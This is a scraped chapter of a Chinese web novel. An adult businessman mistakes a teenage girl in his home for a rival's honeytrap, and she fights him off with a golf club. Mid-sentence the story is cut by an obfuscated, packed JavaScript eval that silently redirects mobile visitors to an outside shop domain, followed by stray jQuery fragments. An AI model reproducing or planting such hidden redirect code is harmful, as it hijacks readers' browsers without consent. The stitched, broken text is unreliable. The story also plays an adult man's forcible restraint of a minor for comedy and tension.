思绪回到了高一那年的冬天。
她随母亲搬入沈长河的别墅,原以为要跟一个还有些陌生的男性长辈朝夕相处会有些尴尬,没想到很快许念就跟随沈长河到处出差。
别墅里除了她只有几个佣人,她不需要社交,三餐丰盛有着落,去什么地方都有人接送,哪怕寒冬腊月,别墅里的每一个房间都温暖宜人。
姚映夏经常会觉得恍惚,不久前还在上中学的时候,如果妈妈上夜班,她五点多就要起床给姚启航做早餐。
冬天的清晨冰冷刺骨,暖气也年久失修早已罢工,浸过凉水的手总是又痛又痒,她还要去赶最早一班公交车,才能跨越大半个市区按时到达学校。
如今的生活优渥到令人有一种不真实感,仿佛是好好学习实现阶级跨越的具象化代表,哪怕她知道想要跨越到这个地步比登天还难。
姚映夏疯了一般开始学习,元旦放假三天都没有丝毫松懈,甚至因为不用去学校而时间错乱,开始昼夜颠倒。
那是元旦假期的最后一天,姚映夏做完习题册才发现已经是夜里两点,她已经很久没有喝过水了,喉咙都有些干痛,于是下楼进了厨房,想要热一热冰箱里的雪梨汤。
刚刚打开冰箱,就听见楼上传来了脚步声,“咚咚”,“咚咚”,在夜深人静的别墅里很有些空旷沉重。
姚映夏瞬间关上了冰箱,并顺手关掉了厨房的小灯。她只当是佣人,怕他见到自己煮东西又要过来代劳,干脆假装不在,想着过一会儿他就会回到自己房间。
黑暗之中只有门外传来一丝幽幽的光亮,厨房外的落地窗旁是一个巨大的观赏鱼缸,里面有数条比她手臂还要长的白金龙鱼。
不知怎地,她又想起那些鱼吃东西时的样子,睁着漠视一切的冷淡眼睛,猛地向食物冲去整个吞掉,又凶狠又残忍。
等回过神来,脚步声已经近在耳边,似乎下一秒就要进入厨房。她慌不择路,拉开冰箱旁的置物架躲了进去,又赶紧将置物架复位。
贴在冰箱侧面的缝隙中很是有些局促,姚映夏有些懊恼,自己又不是做贼,实在没必要这样草木皆兵,转而就听见了冰箱门被打开的声音。
那个人似乎拿出了一瓶苏打水,瓶盖拧开的时候她听见了气泡翻滚的声音,他慢条斯理的喝着,似乎并不着急离开,等全部喝完,才将瓶子扔进了垃圾桶。
冰箱门终于被关上,屋内重新回归黑暗,她刚松一口气,就听见身边的置物架被拖走的声音,而后一只大手抓住了她的手臂,将她生生拖出了缝隙,并顺手打开了灯。
刚才冰箱里散发出来的微弱光芒,反射在了厨房的玻璃窗上,沈星川很庆幸自己是无神论者,否则看见一个黑漆漆的人形生物贴在那里一动不动,怕是要被吓得魂飞魄散。
男人盯着她的眼神十分冷漠,就好似鱼缸中的龙鱼,唇角却挂着笑容,轻声问道:“谁派你来的?”
那一阵他正跟另外两家公司抢一个大型招标项目,川河集团的优势十分明显,对方便开始使些下三滥的手段。
比如半个月前,他独自住在酒店的总统套房,夜色浓稠之时,门突然就被刷开。
一个妖艳至极的女生进门就开始脱衣服,她本就穿的少,解了两根带子就不着寸缕。
沈星川好整以暇的望着她,既不慌乱,也没色令智昏,看他那神色,似乎她跟打扫房间的保洁人员没有两样。
那个女生很有些挫败,随即倒是变得更有干劲儿,摇曳生姿的走到床边,就想要爬上去。
沈星川终于笑了笑,却不是因为她,而是对着面前的电脑问:“我想你们应该都可以为我作证?”
原来他正在进行视频会议,并且在她刚刚进门就将摄像头对准了她。
视频那端传来一阵坏笑:“我还想看更劲爆的。”
又有人说:“刚才的会议全程录像,实时储存在了云盘。”
那个女生听罢脸色红了又白,匆忙间就想抓起沈星川床上的毛毯遮盖自己。
却被沈星川拒绝了:“抱歉,我有洁癖。”
视频那边又传来幸灾乐祸的声音:“小川总,你真是狠心。”
沈星川并不在意,只对她说:“把房卡放下,你可以出去了。”
那个女生捡起衣服就这样落荒而逃。
眼下不过只隔了十来天,自己家里竟然又多出了一个陌生女人。不,她应该并不能称之为女人。
沈星川看看她穿着的兔子花纹纯棉睡衣,又看向那张过于单纯无害又漂亮至极的脸,很是有些生气。
对手公司还真是恶毒,眼前的女生明显没有成年,对方这是打定主意想要把他送进监狱。
沈星川哀其不幸怒气不争,这个年纪的女生,如果肯把心思用在学习上,未必不会前途光明,眼下竟就走上了这条歪路。
沈星川面色愈发阴沉,又问了一句:“你很缺钱?”
彼时姚映夏已经被彻底吓傻,刚才她被拖出来时不小心碰到了他的肌肉,只觉得十分烫手,当时就觉得万分不妙,等到沈星川开了灯,果然发现他没穿上衣,一身肌肉线条分明,配上那张阴晴不定的脸,很是具有攻击性。
姚映夏几乎没有听进去他说的任何话,只觉得下一秒自己就要被就地正法。
第一次见面,沈星川当她是敌方派来的诱饵,姚映夏当他是入室强/奸犯。
她慌乱的挣扎着,那副楚楚可怜的模样都让沈星川觉得自己十恶不赦,可他下意识觉得她是在玩欲擒故纵,于是更加没有耐心,拖着她就往厨房外走去。
他该好好给这个女生上一课,让她知道努力学习才是正道,根据她的悔过情况,再考虑后续该如何处理。
姚映夏就这样被他拖的跌跌撞撞,路过鱼缸的时候终于发现了可以救命的东西,那里有个高尔夫球杆架,她迅速抽出了其
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14283225|151938||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
中一支。
沈星川透过鱼缸中的倒影洞悉了身后的偷袭,天知道她那样小小一个人,生死存亡之际也能爆发出巨大的潜力。
高尔夫球杆挥过来的时候,沈星川甚至感觉到了一股气流,他一个侧身闪过,才觉得后怕,这一记如果打到了后脑,那他非死即残,原来这个小姑娘不是来骗色的,是来要他命的。
巨大的鱼缸在那全力一击下被打出了雪花般的裂纹,里面的压力瞬间失衡,水不断向那些缝隙涌去,终于在一声巨响之后冲碎玻璃倾泻而出。
沈星川养了七八年的龙鱼全都掉在了地上,挣扎着拍打鱼尾翻滚肚皮,有几条蹭到了碎玻璃上,流出殷红的血来。
沈星川看向她的眼神更加不善,这些鱼的价值应该比她收到的雇佣费要多得多,她得赔!
眼见沈星川步步逼近,姚映夏更是慌不择路,一脚踩进了碎玻璃中,被拖出厨房的时她的拖鞋已经不知所踪,眼下只觉得脚底生疼。
她强装镇定,看向没穿衣服的恐怖男人威胁道:“你不要再执迷不悟,我会报警!”
沈星川皱眉:“这就是你接收到的任务?”
他想别墅外应该早就埋伏好了敌对公司安排的记者,等警察一来就对着他一顿猛拍,到时候再写些模棱两可的报道引导舆论,就算后面澄清误会,他也要背负一生污名。
沈星川不在意自己的名声,却在意集团的股价,他决不允许这种事情发生。
沈星川上前一步,钳住了她的手臂,阴鸷的笑笑:“小妹妹,这样不学好可不行。”
他到底在说什么?
姚映夏惊惧交加,眼见又要被他拖走,终于想起楼上还住着佣人,当即大喊救命。
沈星川没料到她会这样嚣张,想来别墅中也混入了他们的卧底,这是一场有预谋有组织的犯罪活动,对方显然做了充足的准备,他自然不能坐以待毙,伸手就捂住了姚映夏的嘴。
她的脸太小了,沈星川的手甚至能从她的左耳捂到右耳,眼下他更像影视作品中的大变态,姚映夏毫不怀疑自己会被先J后杀,用尽全身力气开始挣扎。
本来任凭她如何反抗,都不可能对他造成什么影响,毕竟男女之间先天的力量差距摆在那里,他又常年健身,可偏偏地上都是水。
姚映夏脚下一滑,整个人都往后倒去,她身后都是碎玻璃渣。
沈星川自认不是什么怜香惜玉之人,却也尊老爱幼,看在她年纪尚小的份上,沈星川伸手捞了她一把,紧跟着就失去平衡,双双摔到了地上。
沈星川很庆幸自己没有彻底失控,手臂勉强支撑住了地面,否则凭他这个体重压上去,后果不堪设想。
此时此刻,男人的蓬勃气息扑面,她连呼吸都近乎于无,浅棕色的眼仁里都是绝望。
沈星川看她这般神色就是一怔,随即就听楼上传来了一声惊呼:“小川总!你在做什么?!”